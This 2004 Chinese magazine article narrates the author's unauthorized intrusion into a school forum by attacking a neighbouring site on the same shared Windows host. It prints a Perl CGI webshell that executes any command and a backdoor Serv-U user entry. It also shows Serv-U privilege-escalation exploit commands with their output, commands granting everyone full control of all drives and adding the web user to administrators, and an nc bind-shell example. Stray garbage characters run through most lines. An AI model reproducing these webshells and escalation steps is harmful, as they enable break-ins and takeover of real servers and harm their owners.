剑走偏锋——灵巧的旁注攻击
& f9 w7 R2 e9 _8 f5 O& }本文作者:angel% M$ L1 S$ U1 F& W* Q
文章性质:原创
3 W; \9 D2 P f' e7 O; T发布日期:2004-11-09
/ u7 U& P* h* C注意:
& @. K3 J+ h8 w$ p本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。+ k) h( u/ C! w- h
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。" W4 l' `" m; [0 i% k: Y
$ k" ~) ~3 u( [2 V1 B+ e
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 8 b, V% l$ h- A2 q* [) H0 S! Q
% }6 L# E/ v9 R 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 7 n* v& d. a1 C8 J
! N2 D" W' W/ G% U
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
/ g8 c: T3 ]* t9 {3 k+ a
# U8 R- |+ ^, e 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 8 Z7 Y! O" V) S; g- a* J" Z& v, @
6 m' [2 U9 q6 p1 z4 r
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 5 v+ C$ J' E: D, Q
2 L- W. H5 J1 K8 q
没有目的的跳转目录着……
' @. L0 N9 N7 T
, q1 V6 C3 k3 k% \$ D 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… & s' x h8 t1 L% d9 A- a% q! s
$ F m8 i0 ?8 ~7 A( e7 R' q* M' X 结束了吗?不,我试着 FTP 一下:
3 ?* O8 w# A7 \, c
1 r9 R; f% ]: B7 l( i$ e. w, uMicrosoft Windows 2000 [Version 5.00.2195]% g. y" V, Y. N# K+ T7 r' @: n
(C) 版权所有 1985-2000 Microsoft Corp.
- v$ S1 G8 {* E+ f3 x0 I3 ?& d5 B4 U7 L7 e0 O2 Z, [
C:\Documents and Settings\Administrator>ftp www.school.com) R" j/ j; y* I0 i% v% k
Connected to www. school.com.
9 l( b% P( \& `% Q220 Welcome to FTP Server... & K. K( s+ I; F$ o
User (www.bjtrq.com:(none)): 7 N0 }5 T7 ^/ L( V! x3 `
331 User name okay, need password.
* b8 }% d6 K4 F7 }1 DPassword: 6 O3 S9 ~# V9 P+ T1 @6 p1 Q# x
530 Not logged in.
1 u9 x4 J' W; qLogin failed.
3 f+ z' U% Q* `- h$ C9 \ftp> bye 5 \; X& h: s9 H
221 Goodbye! 8 W# g9 d8 Z2 I2 y
, [ G# r* d: A- g
, u9 O% P V1 i) g5 h& Z 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ; L; g0 ]/ o R
( _! ~0 x$ s5 h3 x, h7 H 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
! b5 R" Q9 i2 |. P4 S- ~, E
3 L' C) K$ O! i( k+ zApplication Data R; G* C( } k& K/ X
Documents$ P5 @: J% J" k& k4 }! F( `
DRM
7 h* B; J1 L) }; f1 xFavorites# u6 B( J9 J: X( K
Templates P1 ~5 b: r8 E2 x
「开始」菜单& ^! n9 u1 Z/ V" k; |( r
桌面
8 W4 L: N2 U+ i+ L( z 5 s- O% j) N- _6 ]4 d8 c v
) t, O9 F2 z( f* q5 Q5 N7 B+ Z 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, W/ l; Q e, V2 x1 [8 W
# o g& G4 q. W" d7 d- K% ~ActiveState ActivePerl 5.8
; U0 e$ J6 E* F+ Q0 z8 BAdministrative Tools: {+ D) z6 Y6 B) r- s
Deerfield.com' z5 t6 t% u) x
DTemp
, n0 Z. C# m$ {$ M0 b/ C/ LIPSentry. i( {5 s7 C! Q: @3 k7 j* s* Y
MBM 5
. p& |; I+ {1 z! n- zNetMeter- _4 C+ q, _' s- y
Network ICE% B7 S- A, U ^8 `3 z+ T# m
Persits Software AspEmail
( Q5 P9 V- a# w) u8 l, ZPersits Software AspJpeg; c# h: {, P- @7 L7 O
Serv-U FTP Server* H3 G: d: T/ I
Symantec Client Security2 A r! A% |, |
Windows 优化大师
0 W$ M# D" F$ `& ]- jWinRAR+ s' F. x; e3 v0 ^2 U! O' m* Y/ I+ C S
启动2 |' d& h& u5 Q+ D% @, ?
管理工具5 O9 R" B& l7 E! h4 X
附件
. v2 g& ^3 ]. B4 G- a+ U
0 m; l, m+ ~' E- v1 b! u
F; c+ b3 S: ] 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
! e u4 v0 n7 R. {( E9 M6 ?
( B$ X. c& r* H( |" R8 M. D! q Q 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
! n2 ^- x% b& U; v' n! z. a3 O
1 b* b) G" U# A0 aUser281=angel|1|0
9 x0 @& f, g, q4 a8 f2 s
7 K g: s' M2 p j2 ]- i
. @& {! S" k/ Z+ j- b$ ? 然后加上 }5 ]. j. a3 [- E/ e$ x% e
" W: G+ Y2 n0 I6 F8 L! w* F% A[USER=angel|1]
+ ^; I* ]4 W6 r+ r* r0 FPassword=ng98F85379EA68DBF97BAADCA99B69B805) F& @! H+ ^$ H) b% a9 R
HomeDir=D:\websites
6 x' g- E x; [2 m- dRelPaths=1
% r" a* d" q0 I; T% KTimeOut=600/ _6 r6 X7 X9 r( y
Maintenance=System
6 S; Q' i; \- H/ F/ P) P3 FAccess1=D:\websites|RWAMELCDP
: q- ~# N% b0 O# SSKEYValues=& o: m) b8 N2 {+ ^& U; k! i# Y
3 J" I+ b: `* p6 M$ s+ f- A% A/ V! w- \: M3 ]/ }1 X& \
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… " m1 p8 l$ W% g J! `
& k# D) a9 r1 X/ B! N 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
+ J3 s) u% `! L# a" u* k
" W& ~2 ^$ \9 k" ?5 m7 n 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ; y' U. e- G f9 l4 S- z& N
( {- W: F5 l$ s: e) a3 P& _% f
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
* A4 k f G3 a" J$ |- s
3 P. Y2 G5 g* f. W#!/usr/bin/perl
# c6 q" W3 H( g( h6 R7 v9 Ebinmode(STDOUT);
6 S. u# Y2 f/ U5 K9 Q2 Gsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);" |: ?1 F) m0 @! d ?
$_ = $ENV{QUERY_STRING};# M5 |: H7 s8 G
s/%20/ /ig;
( ~+ o' E+ H& ws/%2f/\//ig;7 T: O$ v% }1 h% i3 s( z8 }$ }
$execthis = $_;
6 U: k. m$ o) _+ L* G6 i/ vsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
& v& U9 V% D2 Q. v# dopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
4 S9 B5 F" `# o. r9 k- |system($execthis);
- I! W `9 s( R0 esyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);/ s# x" H$ z5 p6 G3 [
close(STDERR);8 }& y% g3 y2 }+ K+ t0 b* N; F% B0 E
close(STDOUT);- i" H# J$ ^' ^. k0 _' L& `3 {
exit;% c; ~3 ?9 H) h9 k
4 b0 ]7 k, D, i6 B% Q! a0 Y; i6 @5 U, S6 ?! P8 M3 J
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 1 v1 w" X6 f: w4 ^
, d4 H6 W* v( j
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: " t( _* T8 j- b7 }4 C8 `# J
" T- ]( _# i/ {+ l
http://anyhost//cmd.pl?d:\user\bin\su.exe % c3 w* x# |! D
, R! @! a0 q, [' E0 ]
1 {( t; O( i+ c1 J 返回:
5 _1 ^" p. q+ O
- O' w$ w% Z/ h3 l/ qServ-u >3.x Local Exploit by xiaolu 7 n4 v; q3 h. U5 o
" ^% d, Y8 `9 k
USAGE: serv-u.exe "command" 9 a! n& X7 \, q" m o5 x
, A; }7 r* }% Q" Y) n" d; BExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" / [# N4 W, C8 v1 g
9 T) c8 b; s3 g4 q5 [3 F# T* z/ u
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: & y% d0 u! {- y3 U' R% L1 k
) J1 O" X, `7 l) }6 A6 G1 k' P
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" . p% {# ?% X5 N! r9 ?$ T
) J. O k% n9 N6 j* q% ghttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
9 F5 G8 H$ l* j/ v" C2 F; h
$ ~6 ?6 R+ o- `9 i9 _http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" j! x. v! P2 J1 ^3 n; S$ h
4 W4 \! ]3 t4 h8 C, I& v7 Khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
# f/ U W- j, N! M) h/ j. u1 h5 [
8 i+ C7 D7 u) o' t' a3 x
( k6 d$ t; O: x 返回下面的信息,就表示成功了!!!
* d0 V6 `& R, K2 N8 R( {9 E; ]
/ _( u+ A* v0 o7 D" ?+ j/ lServ-u >3.x Local Exploit by xiaolu z6 O& z2 k, W! e8 V' Y
. |/ K* {2 A1 k) h2 f
<220 Serv-U FTP Server v5.2 for WinSock ready...
( @& H+ n9 n4 r) A2 ]4 U: t7 z2 ]0 ~) F, y3 ~! u
>USER LocalAdministrator
: m$ \. X! h/ V- P- P3 J) F$ `# E: ~% ?
<331 User name okay, need password.
/ i* O" X) r. R6 t
! B. w% o. D( K$ c$ P) F******************************************************
& P E5 F u9 e3 @$ j5 q5 t/ S7 w" o9 H) G, s* O
>PASS #l@$ak#.lk;0@P % ]4 y7 o" u. C' e; I( _
% \' y0 V4 b3 l, f& ?' z7 ~<230 User logged in, proceed. 6 A8 X3 }1 v2 i/ U. D
3 c' i S% I, T0 D' \
****************************************************** 6 T0 c) o9 g; C/ y, U9 w
, P _' @# c/ K' V& y>SITE MAINTENANCE
4 c. _5 Z( X: q6 _5 E& y: J9 R+ G2 Q/ f3 X, I( B: i: N, l' s
******************************************************
3 P8 c1 G. h3 L+ L* ^; r
: h+ s9 J9 X# i! f2 `3 t' Y[+] Creating New Domain...
; {* k9 @' E* y; y5 F3 R/ a+ M; u! C) C* P8 c7 X& y
<200-DomainID=2
v3 r; a7 O4 D. r! m+ j& T8 V1 C& P1 J7 K! w' [
<220 Domain settings saved
: l E( _! A+ X; `- W& `5 g+ f2 t, K; e) @1 X, P5 v
****************************************************** # W+ o& M2 [' j4 f1 C- r
3 u1 l6 h, X; v9 V+ m2 ^1 ~
[+] Domain xl:2 Created
I! l: P8 m0 h2 a+ {; s; M* ^' ]9 u$ p' u5 K3 w* R
[+] Creating Evil User
# v5 e' e% L+ B9 _% [, D
1 ~, L: B2 P6 W. `# Y<200-User=xl
6 ?/ R1 Z/ P0 [- W5 d/ k8 c) O
8 W! z. Y% x. Z: Q. \% ?; M200 User settings saved , o1 ^& [3 ?! a* |6 B2 x- A% Z
5 I" y3 X: Q1 B b. k
******************************************************
0 d3 }& f1 U6 _- [. U7 j* x: D- V8 V# ^
[+] Now Exploiting... ! [9 n' A1 f' x0 t% @4 z, Z
R( m5 N0 D0 m/ ~ x+ q; s @) q" \>USER xl " ~' p0 {" ^; D+ F1 c# k
5 X3 }! b# q$ _/ I1 t
<331 User name okay, need password. 1 \7 D) r; Z* [' c' Z
6 C/ n( F% S/ q4 u5 V* ]3 X****************************************************** ; }; O8 ^% |) `) t
$ j F* W# f% I2 v6 b( I>PASS 111111
+ g0 U! P: i0 E( p
, j; M# z9 a8 F0 t<230 User logged in, proceed. 1 r6 r) {: d9 P' ^
0 b- b4 d; U# T
****************************************************** * N) \; i5 w' E8 h2 N
: O; s }1 U4 u: U
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
* f9 Y# x8 M; @, U; O. y& {! T3 B0 ^! n! ` A
<220 Domain deleted
3 U' q. U) a7 z: x$ _- n( C7 f; K% m& ?
******************************************************
" N' p! f% E! Y/ d0 B& z( g 7 _3 v, ^' v, j
4 Y3 u. [# L; c/ q3 v
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) H' ]# y: r& P7 P
9 x, r# n9 L, m4 C) Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" / r6 F0 J4 S4 C4 E' W# u8 { f
* W& K) ?. P* R0 D2 l
' }% ^1 l! f8 s% D3 T
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 4 Z& }+ l; U- o. z0 c- _4 i
4 O: _ h; L6 e 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
0 y9 |) }0 G# Q( B9 g' e
8 X0 y6 f3 f3 C0 }/ g( Q " T8 U j# M7 U7 ?
|